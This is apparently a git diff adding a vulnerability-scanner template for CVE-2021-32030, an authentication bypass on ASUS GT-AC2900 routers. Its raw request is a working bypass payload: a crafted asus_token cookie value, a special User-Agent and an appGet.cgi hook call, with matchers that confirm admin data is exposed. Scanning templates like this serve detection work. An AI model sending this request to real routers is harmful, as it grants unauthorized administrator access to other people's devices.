diff --git a/cves/2021/CVE-2021-32030.yaml b/cves/2021/CVE-2021-32030.yaml new file mode 100644 index 0000000000..b0db1c2b47 --- /dev/null +++ b/cves/2021/CVE-2021-32030.yaml @@ -0,0 +1,37 @@ +id: CVE-2021-32030 + +info: + name: ASUS GT-AC2900 - Authentication Bypass + author: gy741 + severity: high + description: The administrator application on ASUS GT-AC2900 devices before 3.0.0.4.386.42643 allows authentication bypass when processing remote input from an unauthenticated user, leading to unauthorized access to the administrator interface. This relates to handle_request in router/httpd/httpd.c and auth_check in web_hook.o. An attacker-supplied value of '\0' matches the device's default value of '\0' in some situations. + reference: https://www.atredis.com/blog/2021/4/30/asus-authentication-bypass + tags: cve,cve2021,asus,auth-bypass,router + +requests: + - raw: + - | + GET /appGet.cgi?hook=get_cfg_clientlist() HTTP/1.1 + Host: {{Hostname}} + User-Agent: asusrouter-- + Connection: close + Referer: {{BaseURL}} + Cookie: asus_token=\0Invalid; clickedItem_tab=0 + + matchers-condition: and + matchers: + - type: status + status: + - 200 + + - type: word + part: header + words: + - application/json + + - type: word + words: + - "get_cfg_clientlist" + - "alias" + - "model_name" + condition: and